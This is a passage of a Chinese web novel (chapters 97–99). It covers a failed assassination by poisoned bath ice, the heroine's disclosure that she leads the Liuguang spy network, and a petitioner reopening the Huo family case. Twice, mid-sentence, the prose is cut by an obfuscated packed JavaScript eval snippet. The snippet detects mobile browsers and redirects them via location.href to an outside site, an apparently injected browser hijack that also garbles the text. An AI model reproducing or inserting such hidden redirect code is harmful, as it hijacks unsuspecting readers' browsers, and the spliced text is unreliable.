“一路乘乱从后院翻墙而入，一路从前院借故入内，跟里面的来个里应外合。就算有意外，这三路人马，还能没一路突破？还愁杀不了一个手无缚鸡之力的乡下丫头？”孙九爷说着笑了起来，“要是能顺便把周冶送走，就更好了。” 孙嬷嬷还是怀疑：“可那周冶身手不错，身边还有个功夫极好的侍卫，更别提衙门本就有那么多官差，这不是捅了老虎窝……” “不入虎穴焉得虎子？”孙九爷看着她道。 说着，摸了摸胡子，一副成竹在胸的样子道，“我一早就让人传了假消息，说发现黑石堂余党，先调走了他一部分官差。等他们来不及回援的时候，再放出第二个消息，说发现了我的踪迹。料他们也忍不住这个诱惑，必定多派人手去追查。我的人看着的，衙门今日已经被调空了。你就等着看好戏吧！” *** 孟珂越来越难受，正闭眼靠在浴桶上，忽地听到窗户响动，一睁眼就见一个黑衣人掀窗而入。 不等她叫出声来，那人提剑便冲她刺了过来。 就在白刃当胸刺来的一瞬，孟珂的手在浴桶沿上一撑，便翻身而出，湿淋淋地躲开了那一刺，倒甩得那人一头一脸的冰水。 刺骨的冰水甩了一脸，那人不由一哆嗦，手上倒滞了一瞬。 便是这一瞬，孟珂已经捋下手上从不离身的手串，捏破了其中几颗珠子，朝那人撒去。 黑衣人顿时屏息闭眼，但还是慢了一瞬，眼睛立刻刺痛起来。 孟珂乘隙往外间跑去，可外间站着个生面孔的小丫头，笑着举起匕首，朝她一步步逼来。 身后的黑衣人，睁开因刺痛而发红的眼睛，笑道：“看不出来啊，小丫头还有两招。” 两人一前一后，步步逼近。 孟珂往屏风另一侧退去，手藏在身后，将剩下几颗珠子分在两手内，捏碎了，找时机同时洒中两人。 “还想往生路逃呢！”黑衣人笑着看了那丫头一眼，又看向了孟珂，“倒是有些胆色，不过，胆色有什么用？” 说着，两人一个眼色，一人提剑，一人举起匕首，同时冲她刺去。 97. 身份 刀剑同时从两侧刺来，孟珂稳稳站在原地，目不转睛地看着前方。 那两人只当她是知道跑不掉了。谁料，待二人离得足够近的时候，她抬手一扬，手中粉末直冲两人撒去。 两人抬手一挡的瞬间，窗户骤响，同时听得金属的脆响，黑衣人手中的剑便掉在了地上。一人破窗而入，在地上一翻，便将剑抢在了手中。 周冶！孟珂顿时松了口气。 “别着凉了。”周冶一剑挑起旁边架上的披风，朝孟珂飞去，随即一旋身，将她挡在了身后。 方才只顾逃命，全然不觉得冷。得了喘息，她才发自己冷得发抖。孟珂“嗯”了一声，忙裹紧了披风。然而，经过这番折腾，气血翻腾上涌，她顿觉站不住了，便朝周冶背上靠去。 周冶又一个旋身，揽住肩头，将她护在了怀里。 “大白日的就敢闯衙门行凶，”他提剑指向二人，“孙九爷给了你们几个胆？” 这日晨起就得了城外发现黑石堂余孽的线报，他把人派出去了，竟又有了孙九爷的踪迹。城内外黑石堂的人本就清得差不多了，冒出几个漏网之鱼虽也不无可能，但也不该那么巧，消息前后脚出现，还在完全不同方向的两处。 他斟酌了一下还是派人去了，自己也假意同行，但走出不远便让侍剑带人去，自己绕回了衙门镇守，以便策应。 他折回来，还没进内院，远远就听见有什么人在吵嚷。内院本就人少，一向也安静。再说还有孟珂在，怎会任人吵嚷。 他心下奇怪，不自觉加快了脚步，刚走到竹雨院外的花园，余光便瞥见围墙上仿佛有个黑影闪过，定睛再看，又什么都没有了。 雨歇和那萧白水的身法他是看过的，不是他们。大白天的，还会有什么人翻墙而入？而况前院还正在吵嚷。 不对！周冶心道，果然是调虎离山，冲着衙门来了。 他忙飞身追了上去，追到墙头，便见后窗微微晃动，显然有人进了室内。 不想，他追上去一掀窗，竟见两个人同时刺向孟珂，忙将早捏在手里的小石子掷了出去。 那两人也想不到，竟同时遭受了毒粉和石子的攻击，冷不防丢了武器。 黑衣人和那丫头打扮的相视一笑：“几个胆子，周大人试试就知道了！” 说着，两人同时攻了上去。 *** 却说红荔到了厨房一看，空荡荡的，管事的人不在，底下人也都不知跑哪儿去了。 红荔气恼地直奔灶前，揭开锅盖查看，骂道：“这些懒东西！我若不来，小姐的热水还不知要等到几时。” 话音未落，一个烧火的小丫头，从灶后探出头来，怯怯地说道：“姑娘稍等等。热水一向是估摸着时间准备的，不知今日突然要得早了些？” 小丫头摸了摸后脑勺，“好巧不巧，方才大伙儿一起抓人，耽误了一会子功夫，倒又比平常还烧得迟了些。” 红荔看了那小丫头一眼，“你倒是老实，没跟着去看热闹，也没躲懒。烧好了立刻送去，小姐等着用！” 她想着没人贴身伺候，心中也莫名有些不安，也不等了，吩咐了丫头便匆匆往回走。走着走着，见前面有个生面孔的小厮，也正疾步往竹雨院的方向去。若是平时，她也会多管多问，可不安一起，便看什么都不对。 “站住。”红荔高声喝道。 但那小厮仿佛没听见似的，脚下不停地往前走去。 红荔提脚便赶了上去：“你聋了！让你站住！” 那小厮被逼停了步，转过头，一脸疑惑地问道：“姑娘是在叫我？” “还装！你方才身子滞了一瞬，分明是听见了。” 那小厮讨好地笑道：“冤枉啊！小的着实不知道姑娘在叫谁。” “还在狡辩！”红荔也不废话，以手为爪，直接架到了他脖子上，“说！你哪儿来的，要往哪儿去？再废话一句，我捏断你脖子！” 那小厮垂眸看了她的手一眼，忍了忍，怯怯地道：“回姑娘，我是外书房洒扫的，有事得速速禀报大人，我一心急，就没注意到姑娘。” 红荔冷笑：“真有急事，自有那专管传话的，什么时候轮到你一个洒扫的跑内院来了？” 那小厮高喊冤枉道：“小的哪敢自作主张！二门上传话的也不知哪里去了，涤砚小哥这才叫我跑一趟的。” “涤砚叫你的？”红荔上下打量着他，笑着放缓了语气，“原来是这样啊，那…..涤砚有没有告诉你，擅入者，死！” 话音未落，她架在小厮脖子上的手，顿时收紧，如一只利爪，直抓向那小厮的脖颈，大有一爪捏碎脖颈之势。 掌风一起，那小厮脚下一蹬，便往后退出了好几步去，堪堪躲过了。 “果然是鬼！” 红荔笑道，脚下急追，径直往前抓去，“你虎口是常年用刀的薄茧，以为在袖子下藏着便看不见了吗？” 那小厮从袖中掏出一把匕首，冲她笑道：“没想到，衙门里这般藏龙卧虎。小小一个侍女，都是这样的高手！” *** 等红荔结果了那小厮，冲进院里来，正遇见惊觉不对的回雪。 两人冲进房去，见里面已经满地狼藉。屏风倒了，浴桶里的水泼洒得到处都是。 一个黑衣人和一个面生的丫头，正同周冶交手。 小姐看着很不舒服，半靠在墙角，目光涣散，几乎动弹不得。周冶一边护着她，一边同这二人缠斗，未免左支右绌。红荔忙上前帮手。 回雪去查看小姐，见她脸色青白，嘴唇发紫，却不像是冻的，已经几乎没了意识。 “带小姐走，我顶着！”红荔对周冶道。 周冶看了她一眼，又看了看孟珂，不废话，直接去抱起她便往外间走。 那小丫头见状，提着匕首便往周冶背后扎去，红荔见状忙上前一拦，背后却露了空，生受了黑衣人一剑。 “叫人去传大夫！” 周冶将孟珂抱出去，便交给回雪，转身进去帮红荔，总算将那两个刺客制住，就地绑起来拖出去了。 厨房的热水也终于来了，红荔忙招呼着人将热水浴的浴桶备好，周冶将她抱进了浴桶之中。 “大夫怎么还没到？”他看看孟珂，又看向回雪，“我看她不太对劲。” 回雪“嗯”了一声，也摇起了头：“这不是冻的。平常冰浴很久，也不至于如此。” 红荔忙道：“方才，小姐没泡多久就说不舒服，让我换热水浴。” 这时，大夫终于赶来，在浴桶边半蹲下，一查看，再一探脉，才道：“是中毒。小姐方才可用过什么？吃过什么？” “厨房方才抓了下毒的人，应该还没来得及下手。”红荔看向回雪，回忆道，“吃食、茶水也都是验过再用的，并没有问题。” “那可有接触什么平常没接触的东西？” 回雪摇头：“今日院子都没出过，也没什么东西送进来。” “那就怪了！”大夫捋着胡须道，“此毒来得急，中毒时间不会太长。中毒之前在做什么？” 众人的目光都转向了一旁的冰浴桶。 “在药浴。”回雪道，“可浴桶中的药，每次也都是查验了的。” “既然没有别的，便只能出在这上头了。”周冶从一旁拿过大夫的银针，往冰浴桶里一探，果然变色！ “难怪小姐方泡没多久就觉得不舒服。”红荔恍然，和回雪对视道。 周冶的心猛地提了起来，忙又拿了一根银针，往孟珂躺着的热水浴桶里一探。 几人都齐齐看向了银针，然而，这次没变色，不由都面面相觑起来。 周冶扫了一眼旁边放着的冷水桶，里面剩的冷水并无问题。 “那就只有一个可能了。”他看向了水面漂浮的还未化尽的冰块，拿水瓢捞了见几，又舀了少量热水，静待融化。 回雪和红荔都惊得睁大了眼。 大夫再以银针一探，这次，变色了。 “好深的心思！”周冶咬牙道。 “老夫还没见过这样下毒的手法！”大夫叹道，“别的东西好动手脚，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999194|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也方便查验，但这冰却不一样！非得等到化了不行，可那时……人已然中招！” 红荔忙说了在花园遇到小厮的事。 周冶意味深长地看了她一眼，之前就她有身手，但没想到身手了得，池记培养的侍女未免也太值了。不过，他此刻也无心追究这一点。 他扫了一眼房中这满地狼藉，道：“这是一个必死之局！他们提前把衙门的人调出去，就是为了调虎离山、制造机会。等冰中之毒化入水中，三个刺客里应外合，前来补刀。即便衙门里还有他们不知道的护卫，也对付不了三个人，即便对付得了三人，也拦不住中毒。孙九爷这次还真是算无遗策！” 他看向孟珂，“幸好她很快就察觉不适，没泡够时辰，那黑衣人想必也是见状只好提前，乘身边没人的时候下手。” 回雪在一旁听着心惊，后怕道：“幸而公子及时赶到，也幸而……” 她扫了红荔一眼，没说下去，又疑惑道，“不过，他怎会知道小姐在此，日常出入衙门都戴了面纱……” 周冶看着孟珂，愧疚地道：“这次，只怕不是冲着你家小姐，而是冲着我来的。” *** “失手了？” 孙九爷难以置信地叫道，“怎么会失手？！一个乡下丫头！三个人！怎会连个乡下丫头都收拾不了？明明人都给他们调出去了，连那个侍剑也调出去了，就他周冶一个，怎么能搞定三个杀手，还没被毒死？” 梁夫人同意他自己折腾，却也只冷眼旁观：“行了，你要试也试了。杀不了，便认了。” “可是……”孙九爷不敢相信，更不甘心。 “可是什么可是，再去一回？” 梁夫人打断了他，见孙嬷嬷从门口听了线报回来，面色明显不对，便没再说下去，转而问，“又怎么了？” 孙九爷也奇怪地看向了她。 孙嬷嬷扫了二人一遍，迟疑地道：“说那个乡下丫头……的身份……” 梁夫人和孙九爷相视一眼，一起催道：“说啊！” “说就是熹园那位。”孙嬷嬷道。 “那……那乡下丫头？！”孙九爷惊异之余，确认道，“这消息可确实？别是看错了？” “怎么会是她？！”梁夫人惊道。 芳儿一直在熹园盯着，说孟珂入春就犯了病，连烟雨斋都少有出去。她竟是躲在了衙门里？最初的震惊过去，她一下就明白了，确信了。 原来，搞所有这些事的人，不是周冶，而是她！ 对啊，一定是她！也只能是她。 周冶同她往日无怨、近日无仇，没理由这么死咬着她。何况他本就是个闲云野鹤、吃喝玩乐的性子。他所有针对他们的动作，都是自她来之后才开始的。 想到此，梁夫人只觉得脑仁儿疼，扶着额头恼道：“怎么这时候才来报！” 孙嬷嬷道：“说是……本来今日一早就要来的，谁料衙门今日一件事接一件的，被支使出去了。” 梁夫人闻言心口也疼了，抚着胸口，缓缓地转过头去，怒视孙九爷。 孙九爷目光闪烁道：“我就说要收拾了他！你不听，还说什么……” 正说着，见孙嬷嬷疯狂冲他使着眼色，只好将下面的话生生咽下了，转而骂了起来。 “这两个狗男女！之前不还是对头，怎么就勾搭到了一起了？还不打不相识起来了？恬不知耻！竟还公然住到衙门去了，就为了成日卿卿我我……” “行了！少说两句。”孙嬷嬷朝他使了几次眼色，他也没看到，只好出言阻止道，“你还嫌不够添堵。” 两人都不吭声了，一起看了看梁夫人， 半晌，梁夫人长长地吐出一口气，坐直了，平静地开口道：“我要她死！” 此刻，已经不需要任何证据，她心中便已确定，就是她，就是那个她。 虽然这份确定之中又夹杂着不解，她明明已经再三验过了啊！她们虽有相似，但有更多、更大的不同。难道，是她的魂魄，用这卢家养女的身子借尸还魂，来报前世之仇了？ 98. 挖眼 孙九爷刚刚折戟，恼归恼，这会儿锐气被挫，正是不想动弹的时候，于是道：“这还不一定吧？可熹园那位不一定就是你想的那人……” “我不管！” 梁夫人道，“我不管她只是周冶中意的一个乡下丫头，还是那个人借尸还魂。我都要她死！这次，宁可杀错，不可放过。” “可你也说了，这周冶……不，这两个人的身份，都是轻易动不得的！” 他朝孙嬷嬷使了个眼色，示意她也劝劝，“要能说杀就杀，便也罢了。熹园那位，你之前不是没试过，不是也没能得手……” “那次是我想探明身份，没报必杀之心，这才让她有机会逃了。” 想起当日，梁夫人后悔不迭，当日若让她死了，何至于到今天境地，“现如今，不杀了她，我寝食难安！” “可咱们势不如人啊！”孙九爷道，“且不说这两人各自背后牵连的势力太大，即便咱们豁出去了，这事……它也不好办。现如今黑石堂的情况你也知道，今日又折了最后几个，再要出手，哪儿还有趁手的人？” “不够就再找！江湖上还缺人吗，花钱买命的人还少吗？” 孙九爷为难道：“经此一役，衙门里的人这下肯定被拔除干净，那二人必定守得跟铁桶一样，水泼不进。” “咱们的人若去少了，不顶事。若去多了，算围攻县衙？这不是作乱谋反么！闹起来可是朝野震荡的事，必定会被彻查到底，只怕你……到时也不好交待。” “不能明着围攻，还不能暗地里动吗？她不出来，还不能从里面动手么？不适合力敌，这次巧取还不行么？我们没人，那就从他们的人里下手。” 梁夫人道，“他们周围这么些人，总有贪财的吧，总有怕死的吧，总有亲眷吧。我就不信，还能连一条缝都撕不开？” 早这样哪还至于？孙九爷无语，转头看着孙嬷嬷，无声地对她做着口型道，“这都什么事儿啊！” *** 红荔当时急着赶回去，将花园里的小厮一刀结果了。不过，黑衣人和那丫头都留了活口，关进了内院柴房。 侍剑和早先出去的人马果然全都扑了空，回来接手审问，见并未往大牢里关，多了个心眼问：“公子，这两人怎么处理？” “你问我？”周冶目光幽深难测，嗤笑道。 侍剑被他说愣了：“不然……问谁？” 周冶却没说话，想起孟珂那苍白虚弱的样子，又想起他推窗那一刻，她沾湿的里衣紧贴在身上，曲线分毫毕现的样子，更别提那湿透后近乎透明的纱衣……一想起，他只觉得心火上涌，转头横了那黑衣人一眼，咬牙道：“要我说，那就挖掉他的眼睛！” “挖眼睛？！他做什么了？”侍剑迟疑地看了看那人，又看了看周冶，“公子你可是朝廷官员！” “是啊！我头一次讨厌自己是朝廷官员，得依法办事！”他自嘲地笑笑，半晌，吐出一口恶气，不甘道，“问涤砚去，该怎么处理怎么处理。让我再看到他，就真挖了他眼睛！” 说完，转身便往外走。 “他的眼睛咋了？”侍剑摸不着头脑，看向一旁翘着二郎腿看热闹的洗墨。 洗墨看他一眼，笑道：“这还用问？看了不该看的了呗！” “什么不该看的？” “不该看的，自然也不该问！”洗墨站起身，拍了拍他肩膀道，“不然，当心公子挖了你的舌头！” 等孟珂醒的时候，见周冶就坐在榻边。 周冶见她醒了，温声道：“幸而你警醒，中毒尚不深。大夫已经为你解毒，只是还要养些日子才能恢复。” 孟珂没什么力气说话，微微点了点头。 看着她如纸苍白的面色，周冶心疼又内疚，她本就饱受折磨，如今又雪上加霜：“原本就是因我犯病，如今又因我中毒，差点死在杀手之下。” 孟珂无力地掀起眼皮，淡淡地笑着，摇了摇头。 “你说对了，他们是恨上我了，可偏偏不奔着我来，而是对你动手。” 他哭笑不得地道，“他们以为你只是我带入衙门藏起来的乡下丫头，这么一番布置，够够的了。若知道是你，有了上次湖边刺杀的教训，断不会只派这些人。若真那样，我们今日还真不一定制得住。” 孟珂虚弱地冲他笑笑：“没事。” 说完，看了回雪一眼。 回雪明白她的意思，代她向周冶解释道：“其实，我们已经发现有人鬼鬼祟祟的。小姐说，这样日日被惦记，也不是个事儿，干脆放进来一次收拾了。” 周冶睁大了眼，又看向了孟珂。 孟珂攒了攒力气，虚弱地道：“一个乡下丫头，不该这么重的戒心，也不该有那个本事严防死守。” 回雪接过话道：“只是，我们虽有防备，却没想到他们竟能想出在冰里下毒，还是让小姐受此一罪。” “是我大意了！”周冶轻叹了一口气，看向她道，“明知道黑石堂余孽和孙九爷的踪迹同日出现，可能有诈，却以为顶多是外面有陷阱，或白跑一趟，却没想到他们是调虎离山，冲着后院来的。” “无妨，”孟珂笑笑，“这是他们……最后的机会了。” 而他们已然错过。 “对，这是他们最后一次机会了！”周冶点了点头，“今后绝不会再大意。” *** 孟珂原本要回熹园的，这下又被迫耽搁了几日。好在这次中毒轻，一日日看得见好转，已然可以下床走动。 这日，周冶照常来竹雨院看孟珂，四下看了看，还是没见雨歇。 孟珂一眼便看出来了，直言道：“我安排她出城办事去了。” 周冶在她对面坐了下来：“我是想着，虽然他们一时半会应该也没法再组织一次暗杀了，但你如今身边只有红荔一人近身护卫……” “无妨！”孟珂道，“雨歇今夜便可到了。再说，我说话也就回去了。” 周冶看了她一眼，想说什么，终究还是咽了下去。 红荔送茶进来，周冶的目光不由落在了她荔身上。这红荔原本是他让人从池记找的，可她显然不是他这衙门的人。 “没错，池记是我们的。”孟珂解释道，“红荔她只是来护卫我的安全，并非故意在衙门安插人手。” 周冶闻言一愣，他倒完全没往这方面想，笑着点了点头：“要安插也不会等到那时候。” 以她的周密谨慎，必定早在回绥陵之前就会做好铺垫。但她愿意向他解释，至少说明在意他的感受。 孟珂看了他一眼，从袖中掏出个东西，手指一松，一个羽毛状的吊饰便晃荡在手中。 那羽状坠饰的顶端镶嵌着一颗蓝宝石，一根根翠色的羽毛，沾在金底之上，流光溢彩，金彩辉煌。 “这是……翠羽？”周冶惊道，“流光阁的翠羽！” 江湖上流传，流光阁的人极诡秘，恰如流光一闪，虽声名不显，知少数人知道。但若想打探消息，只要流光阁愿意接，便有九成把握。只是，接与不接的标准，却没人能摸透，似乎全凭阁主好恶。 大家也不知道这流光阁是什么人所建，只知阁内的每一名流光，手持一羽，据等级有金银铜之分。而阁主，持翠羽。 孟珂点了点头，目光也落在了翠羽之上：“池记便是流光阁在这三州之地的分阁。分阁由大总管坐镇，持金羽一根。” 周冶想过白水门是她的手笔，却怎么也没想过流光阁会是。 他顿了半晌，消化了一下这消息，笑道：“我之前就想过，池记应该是个消息铺子，毕竟，通过一等奴仆的买卖，便建立了一个方便渗入各大豪门世家的人手网。后来看了红荔，我才知道，这些人不只是探听消息那么简单，果真是各有所长，本事了得。可我还是没想到，这池记背后……竟然就是传说中的流光阁。” 他抬眼看着孟珂，心道，更没想到，这流光阁的背后就是你。 但知道这事实的一瞬，他便恍然，她用买卖奴仆来获取消息，目的本就不是做天下闻名、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999195|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或天下第一的情报网，而是为自己、为卢府所用，越少人知越好，越让人摸不透规律越好。 “说来很多人可能都不会信，流光阁其实是无心插柳的结果。” 孟珂道，“那几年，我与二哥哥在路上遇到了些人，顺手帮了一把。他们大多是很年轻的，甚至年幼的孩子。安置他们的时候，我想着，授之以鱼不如授之以渔，给他们一份能谋生的技能，日后方可立身于世。于是找了个地方，留下了一些值得帮一把的可造之材。” “就像小袁那样？”周冶想到了她当初为他打算的样子。 “对，像他一样，值得别人伸手的人——不是所有人都值得一个托举的机会。即便是家人帮忙挣来的，也得他自己本人也值得。” 孟珂继续道，“资质好的，经过‘池记’因材施教的培训后，若只想以一技之长谋生，学成之后就可以离开了，永远不必再与‘池记’有关系。池记只是个驿站，供他们暂时歇脚，送点盘缠，助他们一程。” 这倒是让周冶想到了义庄，还真是得了父亲真传，不过一个是为死者提供最后的栖息之所，一个是为活着的人提供一条生路。 “也有些人不愿离去，留了下来；或离去又回来，可以留下教授新人，也可以换个地方，继续谋生——当然，也是要值得的人。没有任何条件的事，哪怕是帮助，也不被人珍惜。” 孟珂道，“而这些人里，少数我们看着合用，也正好用得上的人，才会吸纳入阁。” 周冶的目光扫向了外面，既然流光阁的这些都同他说了，那白水门想必也不会瞒他，当真不是她。 周冶这么想着，目光不自觉落在了她肩头，不由想起她出浴时的样子，耳根顿时有些发热，忙挪开了目光。 孟珂也察觉了。 周冶掩饰了一下尴尬，轻咳了一声道：“对了，忘了告诉你，义庄案刑部的批复到了，我的判罚，上面基本没驳。” 孟珂点了点头：“挺好。” 两人一时都沉默了下去。 回雪推门进来：“小姐，该喝药了。” “那我先告辞了。”周冶匆匆离去。 等周冶出去，回雪掏出一张卷着的纸条，递给孟珂道：“红荔果然暗地里给人送信，是给二公子的。” “果然是她。”孟珂推开了纸条，笑道，“当时她主动请缨，我就知道了。” 回雪问：“那……可要处理？” 孟珂摇了摇头：“她本就是二哥哥救回来的，她忠于他，但也不会做对我不利的事。” 说着，看着回雪道，“你是卢府一开始就给我的，雨歇是咱们后面自己找回来的，五儿是偶然捡的。他的手完全伸不到我身边，自然不会放心。在京中的时候倒也无妨，我来绥陵，他更担心了。好不容易能安排个贴身的人，就不要动了，也好让他安心些。” 孟珂说完，突然想到，周冶方才临走的时候说了句，“对了，衙门周围多了很多白水门的人。看来，不管这个门主是谁，他都很关心你的安危。” 白水门那么快就得到了消息，来保护她的安危，难道…… *** 这夜，城门将将关闭的时候，守城的小兵听得一辆马车从远处疾驰而来。 那小兵看了一眼，“哼”了一声，反加快了关门的速度。 这时，马车帘子被什么东西冲开一条缝，直冲那小兵的手飞去。 “哪个狗娘养的！” 那小兵猛地跳起来，摸着手，疼得眼冒金星地骂道。 他怒瞪向马车，又往地上去寻，想捡起来反手扔回去，不料却见是块光灿灿的金子。 一旁的小兵快了一步，冲上去捡起来，笑着看向那马车，冲那跳着的小兵挥手道：“打开打开！” 两人打开城门，马车一步不停地疾驰入了城，径直到了城南一个僻巷的小院外停下。 坐在车辕上的青年跳下去，掏钥匙开了门，这才冲马车里下来的三人一拱手，冲那为首的姑娘道：“里面请。” 99. 登闻 雨歇到了衙门外就觉得没对，四周陡然多出不少人，但上前一探发现是白水门的老熟人，便也罢了。 她一跃进了内院，见回雪在收拾整理行李，问了她走后发生的事情始末，说道：“那也不必着急走吧？小姐不是还没大好，用得着这么折腾？” “不过几步路的功夫。”回雪继续收着没停手，只看了她一眼，“怎么，有些人舍不得？” “谁舍不得？”雨歇往旁边走了几步，“我这不是替小姐和周大人可惜。再说了，这刘宝都回来了，说话便要做事，还是在衙门方便呀。” 回雪故意道：“哦，我还以为是有些人在墙头房顶偷看人练剑，舍不得走呢！” 雨歇“嘁”一声，嗤笑道：“就那破剑术，谁稀罕看！” “不然就是舍不得吵架斗嘴、欺负人嘴笨的乐子？”回雪笑道，“还是舍不得洗墨小哥的机灵。” “你怎么不说是舍不得涤砚的沉稳？”雨歇笑道。 回雪笑道：“我还不知道你？你只会嫌他太板正！” “对！就跟你一样！”雨歇抱手靠柱子站着，“成天一本正经，一板一眼，闷都闷死了！有你一个就够了，谁想再对着一个？” 回雪看着她，淡淡一笑。她当年被卖入大户人家，学规矩，守本分，少不了挨打受骂，但衣食无虞。而雨歇在外流落，衣食不保，却也没被拘着，养成了洒脱自由的性子。是故，两人虽长相相似，脾性却截然不同。 雨歇薅了一缕头发咬着，看着回雪道：“那涤砚是闷了点儿，那洗墨小哥不错！三人里就数他性子最好，嘴甜、脑子活，会来事儿，也得公子器重。” “对了，他还是个小财迷，想方设法地讨赏钱，说是为了存钱娶媳妇呢。会为将来打算的人，跟他过一家，日子应该不会太差。人也比较有意思。” 回雪手上终于顿住了，看着她认真道：“勋贵世家里头，最不缺的就是这种会来事、心眼活的人。” “会来事、心眼活还不好了！要死心眼、没眼力才好？”雨歇一句不让道。 回雪道：“心眼儿活不一定是坏事。可做事没分寸，就不是好事了。” “你凭什么说人没分寸？”雨歇不服气地道。 回雪：“你说的那些好处叫锦上添花，可你得先看看，那人到底是锦，还是棉布、麻布，甚至抹布、烂布。” 雨歇拿出头发，在手中把玩着：“你知道人是什么布？” 回雪道：“就说……公子乘牛车把小姐送回衙门那日，你可还记得？” 雨歇点点头。她那时并未现身，但在暗地里瞧见洗墨安顿那春树，让他好生吃了午膳，又备了银子和大包小包的东西送他。 这还能有何不妥？她疑惑道：“他没看不起庄户人家，热情又大方。事情不是办得很好吗？” “可是涤砚叫住了他。”回雪道。 涤砚扫了一眼那一桌子东西，温和地对洗墨道：“你这些东西，还是先回了公子再说。” 洗墨也看了一眼：“这也用得着？咱们公子向来是个大方人。” “我知道你不想折了公子的面子，若只公子一人去投宿打扰，多给些倒也无妨。”涤砚往卧房的方向摆了摆头，“可公子是同小姐一起去的。” “那春树今日若拿这许多礼品、银钱走出衙门，一路的人看了，会不会问他？他会不会得意非常，一高兴就什么都说了？甚至没人问，他也忍不住逢人就说？日后，他一家人用上这上好的东西，会不会人见一次说一次？” “这未婚男女共宿一夜，传出去让小姐如何自处？让公子在这明州官场，又该如何自处？” 雨歇将头发松开：“不过就是多送些东西，哪里就这么多想头了。想那么多累不累啊！” 回雪道：“这便是大户人家做事必须有的分寸。表面看来，两个人都是为公子考虑，可一个考虑的只是公子的面子，一个考虑的却是公子利害攸关的事。” “就这么件小事，让你说得都利害攸关了。” “看人，一件小事就够了。不然你每个人都去观察百件千件再说？”回雪继续道，“为何公子会让涤砚帮手政事，却只让洗墨照料生活起居？而他的安危则交托给侍剑这种死心眼、脑子不活的人？哪怕只是照料生活，洗墨这样的人，若碰上真纨绔，难免会为主子惹祸招灾，败家。” 回雪认真道，“同他玩闹玩闹尚可，可别生什么旁的心思。莫说是你，咱们身边的人，一个都不行。” 雨歇挥着手：“行了，行了，就是同你浑说着玩，你还真操心上了。” 回雪看了她一眼，又笑道：“那心眼活的，还不如死心眼儿的呢。你总同人胡闹，人也总让着你，那才是个会疼人的。” “我方才没正经，现下你又浑说上了！”雨歇一跺脚出去了。 *** 第二日一早，鸡鸣时分，一个年轻人出现在了雾茫茫的街头。 天还未亮，打更人打完最后一更，拎着锣往回走，看着晨雾中徐徐走来的年轻人，仿佛有些面熟。他搓了搓眼睛，凝神一看，惊惧得结巴了起来：“这……这不是……” 那个年轻的身影，淡淡地看了他一眼。 “刘宝！”更夫抬手指着他，那身影冲他点了点头，径直走了，“这……是见鬼了不成？” 更夫抬眼看了看东方，“不对啊，已经鸡鸣，便是鬼也该回了……” 他一身鸡皮疙瘩，转头快步跑走了。 不多时，早起的人们便听见，衙门的方向响起久违的鼓声。窗口、门口探出好多个头，疑惑地往同一个方向看去。 “好像是……登闻鼓！” 鼓声隆隆，间歇之中，传来一个年轻的声音，“小人刘宝，为父伸冤！” “小人刘宝，为父伸冤！” “小人刘宝，为父伸冤！” 那声音一遍遍回荡在晨雾弥漫的绥陵城里，引得更多人循声望去。 “刘宝？我没听岔吧？” “他不是因为曾家的事，被关进大牢，死在里面了吗？” “这么说……刘宝没死？！” 衙门口的登闻鼓已经多年无人敲响，越来越多人在衙门口聚集了起来，望着那击鼓的年轻人。 “他不为自己鸣冤，替他爹伸什么冤？他爹是谁？” 一个老者看了他一眼，叹道：“他爹便是刘顺，牵扯进当年霍家的事死的。” “霍家？”一个十三四岁的小年轻疑惑道，显然没听过，“什么霍家？” 老者看了他一眼：“那时候你还是个小娃娃呢，只知道街上买糖葫芦呢。” 一句话说得小年轻旁边的几个损友哄笑成一团。 那老者捋着胡子道：“就是问月巷的霍家！那霍家原本的位置，就在那个传说中闹鬼的大宅子！” 小年轻的损友们“哦哦哦”成一片：“就是说风水有问题的那个！我听说是大火烧了之后新建的。” 老者点了点头：“大火之后，合了霍家和梁家的地，重新建的。在那场大火之前，隔壁那霍家就出了个大案，抓了霍家和亲朋好友、邻里故旧好几十人。” 小年轻也不斗嘴了，忍不住问：“到底为什么？犯了什么事？” 旁边有个中年人“哼”了一声：“谁知道！神神秘秘的，说什么的都有！” 就在这时，刘宝放下了鼓槌，转头看了一眼衙门口聚集的人群。 看着那攒动的人头，他动了动酸软的胳膊，深吸了一口气，大声喊道：“小人刘宝，状告霍茹蕙诬告栽赃，陷害数十人。求县令大人重查此案，还家父与众人一个公道。” *** 底下的人群顿时骚动起来。 “霍家案！”小年轻激动起来，惊叫道，“果然是因为霍家案。可这霍茹蕙是谁啊？” 老者道：“便是那霍家的小姐。” “霍家案，是自家小姐告发的？”几个小年轻面面相觑，实在想不出一个小姐能有什么因由，告了自家亲朋几十人。 这时，只听那中年人嗤笑一声道：“状告霍茹蕙？这霍茹蕙都失踪多少年了！只怕骨头都成渣了。上衙门来告，我看，他还不如上阎王殿告快一点。” “那霍家小姐死了？”小年轻惊道。 中年人道：“大火之后就失踪了，只怕就死在火场里了。” 小年轻互看一眼，唏嘘道：“难怪说那块儿风水不好！” “瞎说！那块儿的风水顶好！”老者道，“那霍家也就是占了祖宗的光，若非如此，根本没法住进问月巷。瞧瞧周围住的都是什么人？非富即贵！” 旁边有人插嘴道：“可不是？那卢中书家的小姐，不就住进去了。人不是啥事都 